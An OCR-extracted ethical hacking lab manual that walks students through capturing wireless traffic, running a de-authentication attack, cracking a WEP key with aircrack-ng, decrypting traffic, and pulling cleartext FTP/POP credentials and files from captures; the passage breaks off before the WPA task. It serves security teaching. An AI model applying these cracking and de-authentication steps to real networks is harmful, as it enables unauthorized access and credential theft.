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Lab 10: Breaking WEP and WPA Encryption

Lab Settings

This lab is part of a series of lab exercises intended to support courseware for Ethical
Hacker training. The development of this document is funded by the Department of
Labor (DOL) Trade Adjustment Assistance Community College and Career Training
(TAACCCT) Grant No. TC-22525-11-60-A-48.

Students will view files and clear text traffic from an unsecured wireless capture file.
Students will also obtain a Wired Equivalent Privacy (WEP) key and a Wi-Fi Protected
Access (WPA) passphrase using the aircrack-ng utility. After obtaining the WEP Key and
WPA passphrase, students will decrypt the traffic using airdecap-ng.

By completing these exercises, students will become more cognizant of the dangers
involved in using unsecure wireless network, wireless networks with WEP, and wireless
networks using WPA or WPA2 with a weak passphrase that is in the dictionary.

This lab includes the following tasks:

e 1—Wireless Commands and Tools

e 2 —Examining Plain text Wireless Traffic

e 3 —Cracking and Examining Wired Equivalent (WEP) Privacy Traffic
e 4 —Cracking and Examining Wi-Fi Protected Access (WPA) Traffic

Domain: Hacking Wireless Networks

Wireless Networks present a far greater security risk than their wired counterparts.
People who connect their computers to an unsecure wireless access point are putting
their information at risk. Most people choose to use some form of encryption for their
wireless networks in order to protect their data and privacy.

Some forms of encryption are better than others. Wired Equivalent Privacy (WEP) and
Wi-Fi Protected Access (WPA) are two methods than can be used to encrypt wireless
traffic. The WEP encryption scheme is flawed and can be broken easily by an attacker.
For better wireless security, it is recommended that WPA or WPA2 is used to encrypt
your wireless network traffic. While the use of WPA or WPA2 is more secure, an
attacker can break into networks if they are able to obtain the passphrase. For this
reason, the use of any words found in a dictionary should be avoided.

Monitor Mode — Certain versions of wireless cards can be put into monitor mode and
will be able to capture all of the wireless traffic in range of their card. Wireless networks
use Carrier Sense Multiple Access Collision Avoidance, or CSMA/CA. So, by using a
wireless card in monitor mode, all wireless traffic can be passively captured.
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Lab 10: Breaking WEP and WPA Encryption

WEP — Wired Equivalent Privacy (WEP) is an encryption protocol that was designed to
be about as secure as “using the wire”, thus the name Wired Equivalent Privacy. The
WEP encryption scheme has a weakness in the way it was implemented in that if a
hacker generates enough Initiation Vectors, or IV’s, they can break the 64-bit or 128-bit
WEP key. A good hacker can break WEP in less than 5 minutes, so avoid using it.

WPA — Wi-Fi Protected Access (WPA) and WPA2 are much better encryption schemes to
use for wireless networks. While they have far better security protection than networks
using WEP, WPA and WPA2 are not flawless in their security implementation either. If
an attacker can obtain the passphrase, they will be able to decrypt the network traffic
and read all of the plain text information. In order to properly secure a network utilizing
WPA or WPA2 encryption, use a strong passphrase with uppercase letters and special
characters. Avoid using dictionary words.

Aircrack-ng — Aircrack-ng is actually a suite of tools that can be utilized for monitoring,
exploiting, and decrypting wireless network traffic. The aircrack-ng suite is part of the
BackTrack distribution. There is a version of the aircrack-ng suite for Windows, but it
requires special AirPcap hardware, and may trigger anti-virus software.

Wireshark — Wireshark is a protocol analyzer that allows you to capture or analyze

network traffic. You can analyze plain text Wireless traffic within Wireshark and even
decrypt wireless traffic, if you provide the WEP key or the WPA/WPA2 passphrase.
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Figure 1: Lab Topology
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Lab 10: Breaking WEP and WPA Encryption

Lab Settings

The information in the table below will be needed in order to complete the lab. The
task sections below provide details on the use of this information.

Required Virtual Machines and Applications

This lab requires the use of the External Backtrack 5 machine running BackTrack 5 R3.

External BackTrack 5 216.6.1.100

BackTrack 5 root password toor
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Lab 10: Breaking WEP and WPA Encryption

1

Wireless Commands and Tools

There are many command line utilities that were designed for the use with wireless
networking cards. Although you do not have a wireless card in your NETLAB+ system,
you can still examine commands to see their options and become familiar with them.

Keep in mind that Linux commands are case sensitive. The commands below must be
entered exactly as shown.

1.1

7/18/2013

Viewing Wireless Card Options

1. On the External Attack Machine running BackTrack Linux (version 5 R3), type

root for the login and toor (root spelled backwards) for the password.

bt login: root

Passuword:

Last login: Thu Jan 24 11:19:02 EST 2013 on ttyl

Linux bt 3.2.6 #1 SMP Fri Feb 17 10:40:05 EST 2012 i686 GNU.Linux

System information as of Fri Feb 22 09:04:41 EST 2013

Systen load: 0.12 Memory usage: 44  Processes: 69
Usage of ~»: 57.9% of 19.06GB Swap usage: 0 Users logged in: 0

Graph this data and manage this system at https:/slandscape.canonical .con/
root@bt:"% _

Figure 2: Logging in as root

. Type the following command to start the Graphical User Interface (GUI).

root@bt:~# startx

root@bt:"# startx_

Figure 3: The startx command

Open a terminal on the Linux system by clicking on the picture to the right of the
word System in the task bar in the top of the screen.

Applications Places System [5_]

[~ v X root@bt:~

File Edit View Terminal Help

Figure 4: The Linux Terminal
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Lab 10: Breaking WEP and WPA Encryption

4. Type the following command to determine if you have any wireless cards:
root@bt:~# iwconfig

:~# iwconfig
no wireless extensions.

no wireless extensions.

Figure 5: The iwconfig command

If you had a wireless card, the interface would appear, likely a wlanO .
root@bt:~# iwconfig

:~# iwconfig
no wireless extensions.

IEEE 802.11bgn ESSID:off/any

Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry long limit:7 RTS thr:off Fragment thr:off
Encryption key:off

Power Management:on

no wireless_exteénsions.

Figure 6: The iwconfig command

Notice that the card is in managed mode. Managed mode is the normal mode of
operation for wireless cards. The card can be put into monitor mode using iwconfig.

:~# 1wconfig wlanO® mode monitor
:~# 1wconfig wlan0@
wlan0 IEEE 802.11bgn Mode:Monitor Tx-Power=20 dBm

Retry long limit:7 RTS thr:off Fragment thr:off
Power Management:on

Figure 7: Putting the Card in Monitor Mode

Do not type the above command; there is no Wi-Fi card on the NETLAB+ system.

The airodump-ng command can be used to passively capture wireless traffic.
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Lab 10: Breaking WEP and WPA Encryption

5. Type the following command to view the options
root@bt:~# airodump-ng --help

:~# airodump-ng --help

Airodump-ng 1.1 r2178 - (C) 2006-2010 Thomas d'Otreppe
Original work: Christophe Devine
http://www.aircrack-ng.org

usage: airodump-ng <options> <interface>[,<interface>,...

Options:
--1vs : Save only captured IVs
- -gpsd : Use GPSd
--write <prefix> : Dump file prefix
-w : same as --write
- -beacons :: Record ally beacons in dump file
<-update <secs> : PDisplay update delay 1n s€conds

Figure 8: The airodump-ng command

When the program runs, you will see the MAC addresses and AP names in the top pane.
You will see the MAC address of the AP and the MAC of the stations in the bottom pane.

CH 1 1[ Elapsed: 15 mins ][ 2013-02-25 16:25 1[ WPA handshake: 00:1C:10:BC:9F:7B
B55ID PWR RXQ Beacons #Data, #/s g ENC CIPHER AUTH ESS5ID

12:40:F3:89:81:7 i ¢] <] e -1 -1 <length: 8>
AACFA: HEY E] 0 ¢] ¢] e -1 -1 <length: 8=

00:17 H 1 9 2 8825 [¢] 6] 1 54e. WEP <length: 1=

0e:17 H H 9 2 8844 12877 7 1 54e. OPN Student

0B :17 tE2: g 6 8744 2141 ¢] 1 54e. OPN Faculty sStaff
0e:17 H H 8808 243 a 1 54e. OPN Guests

ee: 19F 7 a3 91e7 19747 1 1 54 WPA  TKIP PSK  WPACEH

0O :17 : i [¢] 5 0 18 -1 OPN <length: 8>
BC:85: tB4: 0 ¢] 6 e 1es -1 0PN <length: 8=

BSSID a Lost Packets Probes

eB:17: H H 18:
00:17 H H 108 :4
00:17 H H ao:
00:17 H H D4 :
0e: AF : 7 ao:
ee: 9F : 7 0o :
(not associated) Ad:
(not associated) 28:9
(not associated)
(not associated)
(not associated)
(not associated)
(not associated)
(not associated)
(not associated)

w
[=2]

8 CCBC-Student
20 CCBC-Student
5278
302 CCBC-Faculty Staff,NX6G5
9058 WPACEH
9150
20 BCPS WiFi,Ciscol2345,Faunt-!
13 ' CCBC-Student
44
15
2 MedStarGuestFSH
16 CCBC-Student
21
60 CCBC-Student
15 CCBC-Student

[#1]
Do @M

5, s ]

u

Tl

W WL W WD

[ 9]
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w

W ofa
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Figure 9: airodump-ng in action

Another command that can be utilized for wireless purposes is aireplay-ng. This
command is used to perform replay attacks for WEP cracking or de-authentication
attacks. A de-authentication attack can be used during WEP and WPA attacks to knock a
client off the network. All cards do not have support for the de-authentication
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Lab 10: Breaking WEP and WPA Encryption

capability, but most of the ALFA cards do support it. These cards on available from a
variety of vendors, such as, http://www.data-alliance.net/.

6. To see all of the available options for the aireplay-ng command, type:
root@bt:~# aireplay-ng

:~# aireplay-ng

Aireplay-ng 1.1 r2178 - (C) 2006-2010 Thomas d'Otreppe
Original work: Christophe Devine
http://www.aircrack-ng.org

usage: aireplay-ng <options> <replay interface>
Filter options:
-b bssid : MAC address, Access Point

-d dmac : MAC address, Destination
-S smac : MAC address, Source

Figure 10: aireplay-ng command

An example of the aireplay-ng command being used in a de-authentication attack.

- airepiay—ng -G 2 -3 060:1C:18:BC:9F:7B -c BO:CO:CA:5F:68:64 wland
Waiting for beacon frame (BSSID: 80:1C:10:BC:9F:7B) on channel 1

Sending 64 directed DeAuth. STMAC: [00:CO:CA:5F:68:64] [ 8| 0 ACKs]
Sending 64 directed DeAuth. STMAC: [00:CO:CA:5F:68:64]1 [ 3| 1 ACKs]

Figure 11: aireplay-ng Command in Action

1.2 Conclusion

There are many Linux commands that are specifically for use with wireless cards. Even
though there is not a wireless card present in the NETLAB system, we can still get
familiar with the commands by typing them and viewing the available switches.

1.3 Discussion Questions
1. What command is used when performing a de-authentication attack?
2. What command is used to view the wireless cards in your system?
3. What command can be used to put the wireless card into monitor mode?
4. What command can be used to passively capture wireless traffic ?
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2 Examining Plain Text Traffic

When wireless network card is run in monitor mode, it can capture all of the wireless
traffic within range of the card. Managed mode is the normal state in which a wireless
card operates; your device needs to be in managed mode if you want to connect to a
wireless network. Not all cards operate in monitor mode, and very few cards at all work
in monitor mode in Microsoft Windows. If someone is using monitor mode to capture
network traffic, they are likely using the Linux operating system.

Wireless cards that operate in monitor mode capture network traffic passively. Cards
that operate in managed mode actively scan and their presence can be detected. Not
only will cards operating in monitor mode be able to capture all the network traffic in
range, their presence will not be detected on the network. If the user has the WEP key
or WPA/WPA2 passphrase, they can enter it and the traffic will be decrypted.

2.1 Using Wireshark to Examine Text Traffic

1. Type wireshark (all lowercase) to bring up the Wireshark program.

‘ al Help
:~# wireshark
x The Wireshark Network Analyzer [Wireshark 1.8.1 (SVN Rev Unknown from unknown) |

le Edit View Go Capture Analyze Statistics Telephony Tools Intermals Help

The World's Most Popular Network Protocol Ana
Version 1.8.1 (SVN Rev Unknown from unknown)

Figure 12: Wireshark

2. Select the checkbox marked Don’t show this message again, and click OK.

Running as user "root" and group "root".
6 This could be dangerous.

If you're running Wireshark this way in order to perform live
capture, you may want to be aware that there is a better way
documented at
http://wiki.wireshark.org/CaptureSetup/CapturePrivileges

# [Don't show this message again.|
oK

Figure 13: Allow Wireshark to run as root
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Lab 10: Breaking WEP and WPA Encryption

Wireshark is a protocol analyzer that allows you to capture network traffic in real time.
You can also use it to analyze network traffic that you have captured previously.

3.

4.

Select File from the Wireshark menu and select Open. Double-click on the root
folder, then double-click on the Lab10 folder. Double-click on the file
lab10open.cap.

lﬁ/ m & root Lah10|

Places Name
Q, Search M labl0open.cap
&3 Recently Used lablOwep.cap

& root lablOwpa.cap

Figure 14: Opening the First Capture File

Type icmp in the Wireshark filter pane. View the IP addresses that are displayed.
If the traffic was encrypted, you would be able to see MAC addresses, but not IP
addresses.

| EC "

Mo. Time Source Destination Protocol

15595 240.053778 I oy I

15597 240.053762 192.168.1.106 192.168.1.185 ICMP
15600 240.086032 192.168.1.105 192.168.1.106 ICMP
15682 240.086018 192.168.1.185 192.168.1.106 ICMP
15640 240.906832 192.168.1.106 192.168.1.105 ICMP
15642 240.906818 192.168.1.106 192.168.1.185 ICMP
15665 240.959855 192.168.1.105 192.168.1.106 ICMP
15677 240.988226 192.168.1.1685 192.168.1.106 ICMP
15714 241.984779 192.168.1.106 192.168.1.105 ICMP
15716 241.965282 192.168.1.106 192.168.1.185 ICMP
15733 241.957519 192.168.1.165 192.168.1.106 ICMP
15746 242.012290 192.168.1.185 192.168.1.106 ICMP

Figure 15: Filter of ICMP

While IP address disclosure is one concern, there are far greater concerns to be worried
about than giving away an IP address. For one, usernames and passwords can also be
extracted from the traffic. Data, like PDF files, can also be extracted.

7/18/2013
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Lab 10: Breaking WEP and WPA Encryption

5. Inorder to view file transfer protocol traffic, type ftp in the Wireshark filter pane
and click Apply. You can view usernames and passwords in clear text.

Destination Protocol Length Info
17965 276.514575 192.168.1.105 192.168.1.106 99 Response: 220 Microsoft FTP Service

18164 280.023567 192.168.1.106 192.168.1.105 FTP 82 Request: USER ftp

18169 280.079374 192.168.1.165 192.168.1.106 FTP 144 Response: 331 Anonymous access allowed, send i

18669 285.398864 192.168.1.106 192.168.1.105 FTP 87 Request: PASS P@sswird

Figure 16: ftp Filter in Wireshark

6. Clear the ftp filter. From the Wireshark menu, select File > Export Objects >
HTTP.

Dbestination

I-- |. - lI .'|| T P ———
ladly

Shift+Ctri+5

M isco-Li bec:9t1
2:40:13:89:81
pple 5c:50:8c
pple 5c:50:8c
5... SULLN73.212.56.21
1fa 5f:68:65

Figure 17: Saving an HTTP Object Parsed from Wireshark
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Lab 10: Breaking WEP and WPA Encryption

7. Click the Save All button in the lower right hand side of the HTTP object list.

¥ Wireshark: HTTP object list

Packet num Hostname Content Type Bytes Filename

812 www.google.com  text/html 29144 imghp?hl=en&tab=wi

1573 clients1l.google.com textfjavascript 542  search?client=img&hl=en&gs m=0&gs_ri=img&ds=
1578 clients1.google.com textfjavascript 529  search?client=img&hl=en&gs_m=0&gs_ri=img&ds=
1579 clientsl.google.com textfjavascript 529  search?client=img&hl=en&gs m=0&gs_ri=img&ds=
1580 clients1.google.com textfjavascript 529  search?client=img&hl=en&gs_m=0&gs_ri=img&ds=
1596 clients1l.google.com textfjavascript 543  search?client=img&hl=en&gs m=0&gs_ri=img&ds=
1635 clientsl.google.com textfjavascript 764  search?client=img&hl=en&gs_m=0&gs_ri=img&ds=
1762 clientsl.google.com textfjavascript 535 search?client=img&hl=en&gs m=0&gs_ri=img&ds=
1812 clients1.google.com textfjavascript 557  search?client=img&hl=en&gs_m=0&gs_ri=img&ds=
1824 clientsl.google.com textfjavascript 619 search?client=img&hl=en&gs m=0&gs_ri=img&ds=
2006 clients1.google.com textfjavascript 630  search?client=img&hl=en&gs_m=0&gs_ri=img&ds=
2088 clients1l.google.com textfjavascript 988 search?client=img&hl=en&gs_m=08&gs_ri=img&ds=
2108 clients1.google.com textfjavascript 2459 search?client=img&hl=en&gs_m=0&gs_ri=img&ds=
2114 clientsl.google.com textfjavascript 2461 search?client=img&hl=en&gs_m=08&gs_ri=img&ds=
2149 clients1.google.com textfjavascript 2463 search?client=img&hl=en&gs_m=0&gs_ri=img&ds=
2201 www.google.com 1430 search?tbm=isch&hl=en&source=hp&g=baltimore-+r
2203 www.google.com 1430 search?tbm=isch&hl=en&source=hp&g=baltimore-+r
2205 www.google.com 1430 search?tbm=isch&hl=en&source=hp&g=baltimore-+r
2207 www.google.com 16 search?tbm=isch&hl=en&source=hp&g=baltimore-+r
Help Save As ‘ | Save All ‘ Cancel

Figure 18: Saving an HTTP Object Parsed from Wireshark

8. Inthe Name box, type open and click OK.

* Wireshark: Save All Objects In ...

Name:

[Dpem

Create in folder: | i Labl0

+| Browse for other folders

Cancel | 0K

Figure 19: Saving HTTP Objects Parsed from Wireshark

9. Click OK to some files cannot be saved (if you receive this message- some users

may not).

7/18/2013
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Lab 10: Breaking WEP and WPA Encryption

10. To view the file, click Places from the Linux menu bar and select Home Folder.
Double-click on the Lab 10 folder, and then double-click on the Open folder. You
will see pictures of the Baltimore Ravens logos as well as Angry Birds pictures.

*x open - File Browser

A e

Personal

= root

@l Desktop

% Trash
Devices

1 File System

- Floppy Drive
Network

ial Entire network

|
|
}» e Edit View Go Bookmarks Help

< [P=root Lablo

images%3fq=tbn%
3aANd9GcQ07fOZaj
HsdxJPRcjz6t05vD...

images%3fq=tbn%
3aANd9GcQkFBmMVX
SGSD7h5NflYeTCj9...

images%3fq=tbn%
3aANd9GcQ7yAKkB
GszdCmWgCvAd2...

images%3fq=tbn%
3aANd9GCcQKMCc7fQ

Yy_bP9mKKX39BA...

images%3fq=tbn%
3aANd9GCcQIvV_
YWJr7750aGESacC...

images%3fq=tbn%
3aANd9GCcQKQPLAG
cSsYYHJu7z_nPi8U...

images%3fq=tbn%
3aANd9GcQKZrjL2e
T79BHCUZRNIHZzt...

images%3fg=tbn%
3aANd9GcQLAQWKI
E9leg_87tGOb_Ym...

images%3fq=tbn%
3aANd9GcQMRhunP
UQHOllaggmrfjnO_...

Figure 20: The Pictures Carved From Wireshark

Close the Open picture folder and close the Wireshark HTTP object list.

11. To pull a PDF file transferred via FTP out of the wireless capture file, type the
following filter into Wireshark and select Apply:
frame contains PDF

12. Right-click on frame 23478 in the list and select Follow TCP Stream.

7/18/2013

mfmme contains PDF

Time
23478 389.

23625 369
23629 369.

23634 369.912463 1.
23636 369.912463 192.168.1
23638 369.912975 192.168.1
23640 369.913487 192.168.1
23642 369.913487 192.168.1
23644 369.914511 192.168.1
23646 369.914511 1.

751632

.918927
911439

Source

.185
.185
.185
.185
.185

Destination

+| Frame 23478:

1532 bytes on wire (13
+! TFFF R/A72 11 Nata

Flanc-

Figure 21: frame contains PDF

T
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Lab 10: Breaking WEP and WPA Encryption

13. In the Follow the TCP Stream pane, click the Save As button.

* Follow TCP Stream

Stream Content

%PDF-1.5
. ...
1 0 obj

<</Type/Catalog/Pages 2 0@ R/Lang(en-US) /StructTreeRoot 573 @ R/MarkInfo<</Marked
true=>>>

endobj

2 B obj

<</Type/Pages/Count 34/Kids[ 3@ R22 0 R 2580 R298R310R33PR34BOR350R 36

OR396R40OR41OR420R430R44OR450R46O0R47TOR4BOR4IIBOR520
R55 0OR560R57T0RS580R590RBMMOREGLOREIORGEGI ORBEORBEIORTOOR
73 0 R] =>

endobj

3 0 obj

<</Type/Page/Parent 2 @ R/Resources<</Font<</F1 5 @ R/F2 7 @ R/F3 10 ® R/F4 12 @ R/F5
20 @ R=>/X0bject<</Imaged 9 O R/Imagel8 18 @ R/Imageld 19 @ R=>/ProcSet[/PDF/Text/
ImageB/ImageC/Imagel] ==/Annots[ 17 @ R] /MediaBox[ ® 0@ 612 792] /Contents 4 @ R/
Group<</Type/Group/S/Transparency/CS/DeviceRGB>>/Tabs/S/StructParents 8=>

endobj

4 0 obj
<</Filter/FlateDecode/Length 3507>>
stream
X..[.r.F.}W....@.b....*Y..5..¥)..%...T.H.BRv.../....3C. .@..7.0%......... px8
Ce— r

‘ Entire conversation (2069076 bytes)

| Find Save As Print |o ASCl (O EBCDIC O HexDump O CAmays © Raw

Help Filter Out This Stream | [ Close

Figure 22: The Follow TCP Stream Window

14. For the name of the file, put 1.pdf. Make sure the Save in folder is Lab10.

| x Wireshark: Save Follow Stream As

Name: ll.pdﬂ ]

save in folder: |L.iLale v |

+| Browse for other folders

Cancel | Save

Figure 23: Saving the Zip file From the TCP Stream
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15. To view the file, click Places from the Linux Menu Bar and select Home Folder.
Double-click on the Lab10 folder, then double-click on the open folder. Open
1.pdf.

Applications Places System [=_|

IFsle Edit View Go Bookmarks Help
|

< [P=root Lablo

Personal =
= root i
BB Desktop

open 3 lablOopen.cap

D)) NETLAB+

el i ads f AT
CESSTA

CompTIA Security+® Lab Series -

Lab 1: Network Devices and Technologies -
Capturing Network Traffic

Figure 24: Opening the PDF File and Viewing the Pictures.

Close the PDF file and all of the other windows you have open, except the terminal.

2.2 Conclusion

Using an unsecured wireless network has serious security risks. If a wireless card is
running in monitor mode, it can capture all traffic to and from the access point. This
includes the ability to view DNS requests, view HTTP traffic, and the ability for to extract
images out of the wireless capture traffic. For this reason, it is a better practice to use a
wireless network using encryption, like WEP, WPA or WPA2.

2.3 Discussion Questions
1. What are some of the dangers involved in using an open wireless network?
2. What filter might allow you to view plain text users and passwords in clear text?
3. If the network traffic is encrypted, will you still be able to view MAC Addresses?
4. What filter will allow you to find PDF files within the Wireshark program?
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3 Cracking and Examining WEP Traffic

Even though a good hacker can obtain the WEP key to someone’s network is less than 5
minutes, it is still better to use WEP than to leave your network completely unsecured.

If someone has their wireless card in monitor mode and they are monitoring wireless
network traffic, they will be unable to see the traffic unless they have the WEP key.

3.1 Using Wireshark to Crack and Examine WEP Traffic

1. Inthe terminal window, type the following command:
root@bt:~# cd Lab10

:~# cd Labl0

:~/Labl10e# |}

Figure 25: Selecting the Number of the Target Network

2. Inthe terminal window, type the following command:
root@bt:~/Lab10# aircrack-ng lab10wep.cap
3. Enter 3 as the Index number of the target network.

:~/Labl0# aircrack-ng lablOwep.cap
Opening lablOwep.cap
Read 393177 packets.

# BSSID ESSID Encryption

00:17:59:1A:E2:F0 CCBC-Guests None (0.0.0.0)
00:17:59:1A:E2:F2 CCBC-Student Neneé (10.254.1.28)
00:1C:10:BC:9F:7B CEHWEP WEP (46388/1Vs)
00:17:59:1A:E2:F3 No data - WEP or WPA
00:17:59:1A:E2:F1 CCBC-Faculty Staff WEP (1 IVs)
00:17:5A:1E:7F:92 CCBC-Student None (10.101.108.21)
24:01:C7:EC:48:E1 Unknown
00:17:59:1B:2F:60 CCBC-Guests None (0.0.0.0)
AA:FA:D8:12:C4:37 Unknown
12:40:F3:89781:78 Unknown
0C:85:25:32:B4:80 None %(0.0.0+0)
24:01:C7:EC:48:E2 Unknown
00:7F:28:26:84:5D 53JL5 No data - WEP-er WPA
00:17:5A:1E:7F:90 None (192.168.179.35)
00:17:59:1B:2F:61 CCBC-Faculty Staff None (0.0.0.0)
00:17:59:1B:2F:62 CCBC-Student None (0.0.0.0)
D4:D7:48:0D:B3:C0O None (0.0.0.0)

(

(

LCo~NOoOULE WN -

08:DO:9F:F5:A9:52 None (10.101.37.131)
C4:0A:CB:88:8F:25 None (10.223.195.60)

Index number of target network ? 3Jj

Figure 26: Selecting the Number of the Target Network
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After a few seconds, the aircrack-ng program will be able to crack the 64-bit WEP key.

Aircrack-ng 1.1 r2178

[00:00:01] Tested 3517 keys (got-13278 IVs)

byte(vote)

12(18688) 55(17664) 79(17408) 72(17152)
2(17152) 17(16896) 46(16896 AD(1664O

( ) ( ) C4(17152
( ( ) 46( )
56(17920) 57(17920) 93(17664) 88(17152
( ( ) OF( )
( ( ) 5D( )

( )

D6 ( 16640)
47(16640)
A(19456) 1F(18688) OF(17920) 9E(17920 ( )
C(18944) 00(18176) 5D(18176) CA(17920 ( )

9D (17408

)
)
)
) CD(17664

KEY FOUND! [ 12:34:56:7A:BC ]
pted correctly: 1I00%

Figure 27: Aircrack-ng provides you with the WEP key to the Network

After the WEP key is obtained, we can decrypt the network traffic with aridecap-ng.

4. From the terminal, type the following command to decrypt the traffic (10 A’s):
root@bt:~/Lab10# airdecap-ng —w 1234567ABC lab10wep.cap

:~/Lable# airdecap-ng -w 1234567ABC lablOwep.cap
Total number of packets read 393177
Total number of WEP data packets 146141
Total number of WPA data packets 0]

of plaintext data packets 8427

of decrypted WEP packets 146131

of corrupted WEP packets (0]

of decrypted WPA packets (0]

:~/Lab1e# [

Figure 28: WEP Packets are Decrypted with the Key

5. Type the following to list all of the files and folders within the lab10 directory:
root@bt:~/Lab10# Is

:~/Lablo# 1s

1.pdf lablOopen.cap lablOwep.cap lablOwep-dec.cap lablOwpa.cap open

Figure 29: Newly Created Decrypted Capture File

The lab10wep-dec.cap file was created when you ran the airdecap-ng program.
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6.

7/18/2013

Type the following command to open the decrypted file with Wireshark:
root@bt:~/Lab10# wireshark lab10wep-dec.cap

; # wireshark lablOwep-dec.cap
¥ lablOowep-dec.cap [Wireshark 1.8.1 (SVN Rev Unknown from unk

Filter: v | Expression...
! A
No. Time Source Destination Protocol Ler

1 0.000000 1 . .1
2 -0.0peBEE6 192.168.1.1 192.168.1.106 ICMP
3 0.998465 192.168.1.106 192.168.1.1 ICMP
4 8.998970 192.168.1.1 192.168.1.106 ICMP
5/1.997961 192.168.1.106 192.168.1.1 ICMP
b 1.999994 192.168.1.1 192.168.1.186 ICMP
7/2.995913 192.168.1.1806 192.168.1.1 ICMP
8 2.9964160 192.168.1.1 192.168.1.1806 ICMP
9 3.994377 192.168.1.186 192.168.1.1 ICMP
10 3.994874 192.168.1.1 192.168.1.106 ICMP
11 4.994376 192.168.1.106 192.168.1.1 ICMP
12 4.994362 192.168.1.1 192.168.1.106 ICMP

Figure 30: The Newly Created lab10-wep Capture File

In order to view post office protocol traffic, type pop in the Wireshark filter pane
and click Apply. You can view usernames and passwords in clear text.

Filter: 'pop v Expression.. Clear ~  Save

_— |

No.  Time Source Destination Protocol Length Info
146021 1173.768667 192.168.1.105 192.168.1.166 POP 152 §: +0K Microsoft Exchange Server 2083 POP3
146022 1173.713287 192.168.1.166 192.168.1.105 POP 68 C: USER rmiller

| 14603 1173 713075 102 168,116 1901681165 PP 68 [TCP Retransuission] C: USER roiller
146024 1173.739910 192.168.1.105 192.168.1.166 POP 39 5: 40K

146026 1173.746567 192.168.1.106 192.168.1.105 POP 70 C: PASS PACERS1Z3
Figure 31: pop Filter in Wireshark
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8. Clear the ftp filter. From the Wireshark menu, select File > Export > Objects >
HTTP.

Destination
92.168.1.106

92.168.1.185
92.168.1.106
92.168.1.185
92.168.1.106

Export Objects

Figure 32: Saving an HTTP Object Parsed from Wireshark

9. Click the Save All button in the lower right hand side of the HTTP object list.

* Wireshark: HTTP object list

Packet num Hostname Content Type Bytes Filename
130544 173.212.56.235 text/plain 2 wpad.dat
130564 www.google.com text/html 31438 /
130619 www.google.com text/html 29152 imghp?hl=en&tab=wi

130645 clientsl.google.com textfjavascript 545  search?client=imgé&hl=en&gs_m=0&gs_ri=img&ds=
130648 clientsl.google.com textfjavascript 543  search?client=img&hl=en&gs_m=0&gs_ri=imgé&ds=
130653 clientsl.google.com textfjavascript 570  search?client=imgé&hl=en&gs_m=0&gs_ri=img&ds=
130656 clientsl.google.com textfjavascript 615  search?client=img&hl=en&gs_m=0&gs_ri=imgé&ds=
130659 clientsl.google.com textfjavascript 632  search?client=imgé&hl=en&gs_m=0&gs_ri=img&ds=

130673 www.google.com 1430 search?tbm=isch&hl=en&source=hp&qg=Ilos+angeles
130674 www.google.com 1355 search?tbm=isch&hl=en&source=hp&qg=Ilos+angeles
130675 www.google.com 1430 search?tbm=isch&hl=en&source=hp&qg=Ilos+angeles
130676 www.google.com 824  search?tbm=isch&hl=en&source=hp&g=Ilos+angeleg
130684 www.google.com 1430 search?tbm=isch&hl=en&source=hp&qg=Ilos+angeles
130685 www.google.com 1430 search?tbm=isch&hl=en&source=hp&qg=Ilos+angeles
130686 www.google.com 1430 search?tbm=isch&hl=en&source=hp&qg=Ilos+angeles
130687 www.google.com 1430 search?tbm=isch&hl=en&source=hp&qg=Ilos+angeles
130688 www.google.com 172  search?tbm=isch&hl=en&source=hp&g=Ilos+angeles
130689 www.google.com 20 search?tbm=isch&hl=en&source=hp&qg=Ilos+angeles
130729 tl.gstatic.com image/jpeg 5220 images?q=tbn:ANdSGCcRMD_Bx2p95QEy361rTq7|I4EW 1
—— -

Help | Save As | | Save All | | Cancel
Figure 33: Saving HTTP Objects Parsed from Wireshark
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10. In the Name box, type wep and click OK.

Name:

* Wireshark: Save All Objects In ...

’wep

Create in folder: | i Lab10

+| Browse for other folders

Cancel | |

OK

Figure 34: Saving HTTP Objects Parsed from Wireshark

11. Click OK to some files cannot be saved. Some users may not receive this

12. To view the file, click Places from the Linux Menu Bar and select Home Folder.
Double-click on the Lab10 folder, then double-click on the wep folder. You will

message.

see pictures of the Los Angeles Lakers as well as Angry Birds and Star Wars

pictures.

v x

File
b

Personal

& root

@l Desktop

. Trash
Devices

__ File System

. Floppy Drive
Network

= Entire network

Edit

wep - File Browser

View Go Bookm

‘ A

winda

generate_204

PRy REBELS

images%3fq=tbn%
3aANd9GcQ7b67WP
Pfvj807)Qk02vKYa...

images%3fq=tbn%
__33aANd9GCQLIX2biEr 3
93 items, Free space: 7.0 GB

Crds e
images%3fq=tbn%
3aANd9GCcQcYpMIJ-
rUwXLdC7Gt7VD...

images%3fq=tbn%
3aANd9GcQmIvB6N

images%3fq=tbn%
3aANd9GcQ3QEvdK
MsPUR9SSC3CVUSG...

images%3fq=tbn%
3aANd9GcQgS2ov-
T6MfCRHYuwocU_...

images%3fq=tbn%
3aANd9GcQgNWOFa

v

Figure 35: The Pictures Carved From Wireshark

13. Close the open picture folder and close the Wireshark HTTP object list.
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14. To pull a PDF file transferred via FTP out of the wireless capture file, type the
following filter into Wireshark and hit Apply: frame contains PDF
15. Right-click on frame 140353 in the list and select Follow TCP Stream.

Filter: frame contains PDF | v | E-xﬁlon [
|

Mo. Time Source Destination Protocc
148353 1022.963643 192.168.
148361 1022.963655 192.168.

148364 1823.0810758
148365 1822.011270 192.168.
148366 1823.011270 192.168.
148367 1822.0811782

.185
.185

o e

+| Frame 148353: 1514 bytes on wire (1EcrairttT e

Figure 36: Following the TCP Stream

16. In the Follow the TCP Stream pane, click the Save As button.

% Follow TCP Stream

Stream Content

%PDF-1.5

B, ...

1 0 obj

<</Type/Catalog/Pages 2 @ R/Lang(en-US) /StructTreeRoot 573 8 R/MarkInfo<</Marked
trues===

endobj

2 8 obj

<</Type/Pages/Count 34/Kids[ 3 @ R22 @ R25 0 R 290 R 318 R30R340R350R 36
O R390R40 AR 41 P R42 P R43 0O R 440 R45 0 R 46 O R 47 B R 48 AR 49 B R 52 0
R 550 RS ORS557O0R58O0R590RG600O0RG6LORESIORGEGT ORG6BEOREIORTOER
73 8 R] ==

endobj

3 8 obj

<</Type/Page/Parent 2 @ R/Resources<</Font<</F1 5 @ R/F2 7 @ R/F3 18 ©@ R/F4 12 @ R/F5
20 8 R==/X0bject<</Image? 9 @ R/Imagel8 18 @ R/Imagel? 19 O R=>/ProcSet[/PDF/Text/
ImageB/ImageC/Imagel] ==/Annots[ 17 @ R] /MediaBox[ © © 612 792] /Contents 4 @ R/
Group=<</Type/Group/S/Transparency/CS/DeviceRGB>>/Tabs/S/StructParents 8=>

endobj

